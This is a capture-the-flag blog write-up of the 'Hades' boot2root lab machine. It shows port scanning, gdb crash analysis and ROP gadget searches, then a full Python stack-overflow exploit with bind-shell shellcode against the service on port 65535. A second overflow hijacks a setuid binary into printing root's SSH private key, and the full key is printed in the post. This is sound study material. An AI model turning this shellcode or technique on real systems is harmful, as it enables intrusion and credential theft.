It has been a long time since I wrote anything here, but I’d been getting the itch again recently and I’d always planned on re-visting Hades to do a full writeup. Three years later, and here we are…

Hades is a boot2root challenge created by Lok_Sigma with a heavy focus on binary exploitation and stack overflows.

Service discovery using netdiscover and nmap, you know the drill…

# netdiscover -i eth1 -p r 10.66.66.0/24
 Currently scanning: (passive)   |   Screen View: Unique Hosts

 1 Captured ARP Req/Rep packets, from 1 hosts.   Total size: 60
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname
 -----------------------------------------------------------------------------
 10.66.66.6      08:00:27:4a:6c:d9      1      60  PCS Systemtechnik GmbH
# echo 10.66.66.6 > ip
# nmap -A -p- -T5 $(cat ip) | tee nmap.txt
Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-12 14:22 EDT
Nmap scan report for 10.66.66.6
Host is up (0.00044s latency).
Not shown: 65533 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 e1:47:74:6c:b5:9c:8b:76:fd:92:77:91:fa:e7:f4:ee (DSA)
|   2048 9c:a0:0b:f3:63:2e:8e:10:77:e9:a3:5a:dd:f1:6d:46 (RSA)
|_  256 0b:8d:d1:bf:6e:b8:cf:99:38:64:f0:58:bb:3c:45:77 (ECDSA)
65535/tcp open  unknown
| fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, GenericLines, GetRequest, HTTPOptions, Help, Kerberos, NULL, RPCCheck, RTSPRequest, SMBProgNeg, SSLSessionReq, TLSSessionReq:
|     Welcome to the jungle.
|_    Enter up to two commands of less than 121 characters each.
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port65535-TCP:V=7.70%I=7%D=6/12%Time=5D0142F9%P=x86_64-pc-linux-gnu%r(N
SF:ULL,55,"Welcome\x20to\x20the\x20jungle\.\x20\x20\nEnter\x20up\x20to\x20
SF:two\x20commands\x20of\x20less\x20than\x20121\x20characters\x20each\.\n\
SF:0")%r(GenericLines,5C,"Welcome\x20to\x20the\x20jungle\.\x20\x20\nEnter\
SF:x20up\x20to\x20two\x20commands\x20of\x20less\x20than\x20121\x20characte
SF:rs\x20each\.\n\0Got\x20it\n")%r(GetRequest,5C,"Welcome\x20to\x20the\x20
SF:jungle\.\x20\x20\nEnter\x20up\x20to\x20two\x20commands\x20of\x20less\x2
SF:0than\x20121\x20characters\x20each\.\n\0Got\x20it\n")%r(HTTPOptions,5C,
SF:"Welcome\x20to\x20the\x20jungle\.\x20\x20\nEnter\x20up\x20to\x20two\x20
SF:commands\x20of\x20less\x20than\x20121\x20characters\x20each\.\n\0Got\x2
SF:0it\n")%r(RTSPRequest,5C,"Welcome\x20to\x20the\x20jungle\.\x20\x20\nEnt
SF:er\x20up\x20to\x20two\x20commands\x20of\x20less\x20than\x20121\x20chara
SF:cters\x20each\.\n\0Got\x20it\n")%r(RPCCheck,5C,"Welcome\x20to\x20the\x2
SF:0jungle\.\x20\x20\nEnter\x20up\x20to\x20two\x20commands\x20of\x20less\x
SF:20than\x20121\x20characters\x20each\.\n\0Got\x20it\n")%r(DNSVersionBind
SF:ReqTCP,5C,"Welcome\x20to\x20the\x20jungle\.\x20\x20\nEnter\x20up\x20to\
SF:x20two\x20commands\x20of\x20less\x20than\x20121\x20characters\x20each\.
SF:\n\0Got\x20it\n")%r(DNSStatusRequestTCP,5C,"Welcome\x20to\x20the\x20jun
SF:gle\.\x20\x20\nEnter\x20up\x20to\x20two\x20commands\x20of\x20less\x20th
SF:an\x20121\x20characters\x20each\.\n\0Got\x20it\n")%r(Help,5C,"Welcome\x
SF:20to\x20the\x20jungle\.\x20\x20\nEnter\x20up\x20to\x20two\x20commands\x
SF:20of\x20less\x20than\x20121\x20characters\x20each\.\n\0Got\x20it\n")%r(
SF:SSLSessionReq,5C,"Welcome\x20to\x20the\x20jungle\.\x20\x20\nEnter\x20up
SF:\x20to\x20two\x20commands\x20of\x20less\x20than\x20121\x20characters\x2
SF:0each\.\n\0Got\x20it\n")%r(TLSSessionReq,5C,"Welcome\x20to\x20the\x20ju
SF:ngle\.\x20\x20\nEnter\x20up\x20to\x20two\x20commands\x20of\x20less\x20t
SF:han\x20121\x20characters\x20each\.\n\0Got\x20it\n")%r(Kerberos,5C,"Welc
SF:ome\x20to\x20the\x20jungle\.\x20\x20\nEnter\x20up\x20to\x20two\x20comma
SF:nds\x20of\x20less\x20than\x20121\x20characters\x20each\.\n\0Got\x20it\n
SF:")%r(SMBProgNeg,63,"Welcome\x20to\x20the\x20jungle\.\x20\x20\nEnter\x20
SF:up\x20to\x20two\x20commands\x20of\x20less\x20than\x20121\x20characters\
SF:x20each\.\n\0Got\x20it\nGot\x20it\n");
MAC Address: 08:00:27:4A:6C:D9 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.44 ms 10.66.66.6

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 114.77 seconds

I actually remember this, the ssh banner is a base64 encoded copy of the binary running on port 65535.

# file ssh-banner.b64
ssh-banner.b64: ASCII text
# file ssh-banner.bin
ssh-banner.bin: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.26, BuildID[sha1]=d241bcc0f0d75412c3fe834dd345732b59075c50, not stripped
# gdb -q ./ssh-banner.bin
Reading symbols from ./ssh-banner.bin...(no debugging symbols found)...done.
gdb:peda$ pattern_create 256
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G'
gdb:peda$ r
Starting program: /root/vulnhub/hades/ssh-banner.bin

We can verify that it is listening on port 65535 of its own devices easily enough.

# netstat -lp | grep 65535
tcp        0      0 0.0.0.0:65535           0.0.0.0:*               LISTEN      6208/ssh-banner.bin
# nc localhost 65535
Welcome to the jungle.
Enter up to two commands of less than 121 characters each.

I’ve gone with 256 because it is a “round” number larger than (121*2), and looking back to gdb it seems I have chosen well…

# pattern_create -l 256 | nc localhost 65535
Welcome to the jungle.
Enter up to two commands of less than 121 characters each.
Got it
Got it
gdb:peda$ r
Starting program: /root/proj/hades/ssh-banner.bin
Received: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9A
Received: e0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai
here

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x5
EBX: 0x0
ECX: 0xf7fa6890 --> 0x0
EDX: 0x5
ESI: 0xf7fa5000 --> 0x1d9d6c
EDI: 0xf7fa5000 --> 0x1d9d6c
EBP: 0x36664135 ('5Af6')
ESP: 0xffffd830 --> 0xff003866
EIP: 0x41376641 ('Af7A')
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41376641
[------------------------------------stack-------------------------------------]
0000| 0xffffd830 --> 0xff003866
0004| 0xffffd834 --> 0x8048acb ("Got it\n")
0008| 0xffffd838 --> 0x7
0012| 0xffffd83c --> 0x6e43a318
0016| 0xffffd840 --> 0x3721d18
0020| 0xffffd844 --> 0xf7fddc0c (add    esp,0x10)
0024| 0xffffd848 --> 0x41ddf15b
0028| 0xffffd84c ("a0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9A\002")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41376641 in ?? ()

Ok, nice. We’ve crashed the app, always a good start! Lets investgate how we’ve left things.

# pattern_offset -l 256 -q 0x41376641
[*] Exact match at offset 171
# pattern_offset -l 256 -q a0Aa
[*] Exact match at offset 1
# python -c 'print(0xffffd84c - 0xffffd830)'
28

So now we know that we can overwrite EIP after 171 bytes, and the second byte of our payload begins 28 bytes after ESP.

gdb:peda$ ropsearch 'jmp esp'
Searching for ROP gadget: 'jmp esp' in: binary ranges
0x08048697 : (b'ffe45dc3')  jmp esp; pop ebp; ret
0x08049697 : (b'ffe45dc3')  jmp esp; pop ebp; ret
gdb:peda$ ropsearch 'add esp,?'
Searching for ROP gadget: 'add esp,?' in: binary ranges
0x08048a32 : (b'83c41c5b5e5f5dc3')  add esp,0x1c; pop ebx; pop esi; pop edi; pop ebp; ret
0x08049a32 : (b'83c41c5b5e5f5dc3')  add esp,0x1c; pop ebx; pop esi; pop edi; pop ebp; ret

Using these two gadgets, we can build an exploit payload like such: [17 bytes padding][jmp esp gadget][shellcode][padding][inc esp gadget], with a total length of 175 bytes.

The 17 bytes are padding are because 28+(4*4) from the add 0x1c and four pops minus the 27 bytes of crap at the top of the stack before our payload; 28+(4*4)-27 = 17.

The idea is that we overwrite the RIP to point to the “stack cleanup” gadget, and when that hits the ret, the ESP will be pointing at the JMP $ESP gadget, which begins execution of our shellcode.

The final exploit code should look like:

import struct


# shellcode generate x86/linux bindport 16706
# x86/linux/bindport: 84 bytes
# port=16706, host=127.127.127.127
shellcode = (
    "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80\x96"
    "\x43\x52\x66\x68\x41\x42\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56"
    "\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x43\x89\xe1"
    "\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0"
    "\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
    "\x89\xe1\xcd\x80"
)
# jmp esp; pop ebp; ret
rop_jmp_esp = struct.pack("<I", 0x08048697)
# add esp,0x1c; pop ebx; pop esi; pop edi; pop ebp; ret
rop_inc_esp = struct.pack("<I", 0x08048A32)
# junk data to pad out the payload
pad = "A"

# build/deliver the final payload
buf = pad * 17
buf += rop_jmp_esp
buf += shellcode
buf += pad * (171-len(buf))
buf += rop_inc_esp
print(buf)
# python exploit.py | nc $(cat ip) 65535
Welcome to the jungle.
Enter up to two commands of less than 121 characters each.
Got it
Got it
# nc $(cat ip) 16706
python -c 'import pty; pty.spawn("/bin/bash")'
loki@Hades:/$ ls
ls
bin                   home            lost+found  root     sys      vmlinuz.old
boot                  initrd.img      media       run      tmp
dev                   initrd.img.old  mnt         sbin     usr
display_root_ssh_key  key_file        opt         selinux  var
etc                   lib             proc        srv      vmlinuz

Boom! Stick my ssh key in ~/.ssh/authorized_keys and we’re laughing.

Time to get root.

# ssh loki@$(ssh ip)
loki@Hades:~$ ls -l
total 12
-rwsr-sr-x 1 loki loki 7035 Mar 18  2014 loki_server
-rw-r--r-- 1 root root   42 Mar 19  2014 notes
loki@Hades:~$ find /root
/root
find: `/root': Permission denied
loki@Hades:~$ md5sum loki_server
8e89c5c5fd34446dc4a7e5492bdf456c  loki_server
loki@Hades:~$ cat notes
AES 256 CBC
Good for you and good for me.

# md5sum ssh-banner.bin
8e89c5c5fd34446dc4a7e5492bdf456c  ssh-banner.bin

Not a whole lot in the loki home directory, but if you were paying attention earlier there were some interesting sounding files in the root directory when we first got a shell; namely display_root_ssh_key and key_file.

loki@Hades:~$ find /display_root_ssh_key /key_file
/display_root_ssh_key
/display_root_ssh_key/display_key
/display_root_ssh_key/counter
/key_file
loki@Hades:~$ /display_root_ssh_key/display_key

        Ready to dance?

Enter password:

No, no I am not ready to dance. I am, however, ready to grab a copy of that binary and dissect it.

# scp loki@$(cat ip):/display_root_ssh_key/display_key .
# gdb -q ./display_key
gdb:peda$ pattern_create 256
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G'
gdb:peda$ r
Starting program: /root/proj/hades/display_key

        Ready to dance?

Enter password:
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x0
ECX: 0x80cbaa0 --> 0x0
EDX: 0xfffff000
ESI: 0x8048a30 (push   ebp)
EDI: 0x528994ee
EBP: 0x41434141 ('AACA')
ESP: 0xfffa56d0 --> 0xfffa5600 --> 0x1
EIP: 0x41412d41 ('A-AA')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41412d41
[------------------------------------stack-------------------------------------]
0000| 0xfffa56d0 --> 0xfffa5600 --> 0x1
0004| 0xfffa56d4 --> 0x19
0008| 0xfffa56d8 --> 0x80ca900 --> 0xfbad2288
0012| 0xfffa56dc --> 0x1
0016| 0xfffa56e0 --> 0xfffa56f8 ("ACAA-AA")
0020| 0xfffa56e4 --> 0x41048ea7
0024| 0xfffa56e8 ("AA%AAsAABAA$AAnAACAA-AA")
0028| 0xfffa56ec ("AsAABAA$AAnAACAA-AA")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41412d41 in ?? ()
gdb:peda$ pattern_offset A-AA
A-AA found at offset: 20

So far so good, looks like we’re taking control of EIP after 20 bytes. We also know this file is supposed to display a key of some kind. Running strings over the binary narrowed down how it might be doing that

# strings display_key
...
cat /r
oot/.ssh/id_rsa
...

Given the binary contains the string cat /root/.ssh/id_rsa we can assume that string is probably executed when you know the correct password. Maybe we can convince it to execute it anyway…

gdb:peda$ searchmem 'cat /root/.ssh/id_rsa'
Searching for 'cat /root/.ssh/id_rsa' in: None ranges
Found 1 results, display max 1 items:
mapped : 0x80ab4e8 (arpl   WORD PTR [ecx+0x74],sp)
gdb:peda$ x/s 0x80ab4e8
0x80ab4e8:  "cat /root/.ssh/id_rsa"
gdb:peda$ searchmem 0x80ab4e8
Searching for '0x80ab4e8' in: None ranges
Found 1 results, display max 1 items:
mapped : 0x804825d (call   0xf00c8d16)
gdb:peda$ x/2i 0x804825d-3
   0x804825a:       mov    DWORD PTR [esp],0x80ab4e8
   0x8048261:       call   0x80493b0

Following the rabbit hole a bit, we can see that the command string is at 0x80ab4e8 and that address is referenced at 0x804825d. Looking at the assembly at that address with a bit of context, we can take a good guess that the instructions at 0x804825a and 0x8048261 are probably something along the lines of execv("cat/root/.ssh/id_rsa").

loki@Hades:/display_root_ssh_key$ \
> python -c 'import struct; print("A"*20 + struct.pack("<I", 0x804825a))' | ./display_key

        Ready to dance?

Enter password:
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEA4He7ENfrx9lqrkrxy8+1EmRgrg6tfB1NtI0ODDQN5vg3EH+k
d3H/+oD+PHRBd+cClnV24Z82QbdJAPkb2VZYI2OGNrxWiRnoVaRw4XN80WH21+Am
Jvme6DeiS7UYHr/kn+J6/KNmjRrSwxPegHCZsqY8qn06J+++rZQujazmt6ABP2wU
lLGL9iCQO2G92xchMLRXcsBln8XEkTJ90TaNp6bJwdlzZbYV3m/hbco7mybHhQBE
eA9HCvY6d2upFyKUxMzQ3RyZRcabf8PoOLL5QFPRSVXmdnfDfF/7GJkWXWr4mLmW
VB0pcdVTBMI0Am7llHbv0hlI0QdooH/QkmdB8QIDAQABAoIBAQDbn+qVaV6WFMGP
tV5t11XIoBQEWfIenSFZhiX3hLsRgU2HRAysngsilDGs/ubLpWjfxCDEUx4oIGg6
noJEHXpxbcB1L8PPs1yi5xlXTcMTrzFxOSy7N8PmXADc6FyoQYM1eMhzBoGhkFwl
aPxsWT/ZD1QOUCalyqqbdYAzOLgpcnx9YfegakskOMeqlLCUd8P4cs5sHt3yfauf
nhaXmO7HivMn+p61P5oorAuQcgHjWlggMrFVo9yUIsx7/D8lD7v2wKSIbMIGxSnd
smiuWwI3sddy4ztRXgEItFqsFVdmdbjKY6AiqaK3TUvxAwnin+eD0+/GZaCImmU9
DCSQlOiNAoGBAPO0Lave7NT5ikvQAVXZKFozOt219CWg8bot/YeCd2F94SRD2jQ6
cWv/gx2Kg0qnC+STbE733jKb8Y05u5cU86DfBZ8W0c5RtYijq7Hhjul3IrTs0EqQ
HI+DoS2MYTTVNXfpWFhQhevXi/bmFFBbLTtZlDJkeTB2RYuSkq2K1P/fAoGBAOvL
FlaHBs0yqtgbLWM/gUgwYKjlKLxoKdLA2BVz+Bj8csA/wOpxwm6lxBIJIEc34sW9
2qYk2LNndplrgDSwSxQdG/2F0aPLZmxP+IUIupL4kYyCzjyQjUf6dudSCLe6rO6h
HA+kWcoKgLp8OTrZ4lDOlH3u09P3DJeulH0fHLgvAoGAVUoBkdz61a5fkBjD3t+Z
F7hGKcG8KE8jSh0+VWZ7kUsUuDRm8VBi0YEiyfvn5wB/UQenKBvnT57z8pD57e4P
NYXX2c2Kr8I43hEpzZ86/MoNA3S9kNrOpAtVJTOz8WGMzOKFYKMNu3Q8L7Rl95lx
QwweqWQwZZ1+yVIKs2GbGdECgYEA3Repk2q6wu+OaGJbVaN3SsQp7lQptTgKd1Zh
hwQdjvgvdPqSnoIaqPt/9NVf0ceiOH5DpeQI2XfbKhI1vbHMREjjNP4kS2xuVoNJ
6Rv9LdArUdBZJ0r3XpWIpnAyQmykuICSukwF8T+V4saWNwuUfOanL8ogD7GnuhZ1
nzjsCfsCgYEAtSo+SmkHsTrMnnGP3GoBbZDpOaC7NsvFKj5s1CYu8gsSNKgT8vtz
GZYVZzbr4faKheAIll3BXUu0v2fQUJPsRbE8cmMzMrDp9E/6aMUAMCaJ6oxOAxNF
GGvFkdoGMfa4LgP6Nb2JkMQ7w/49jPaJLm5n/ERsmi+58hZX3evyH4Q=
-----END RSA PRIVATE KEY-----
Segmentation fault (core dumped)

I don’t think it would be presumptous to think this gets us root…

# ssh -i id_root root@$(cat ip)
root@Hades:~# l
flag.txt.enc

…I think I know what to do here

root@Hades:~# openssl enc -d -aes-256-cbc -in flag.txt.enc -pass file:/key_file | head -1
Congratulations on completing Hades.

Yeah, between the file in the root directory and the hint in the notes, this all comes together rather nicely.

Part 2 of the "hades" series

Previous articles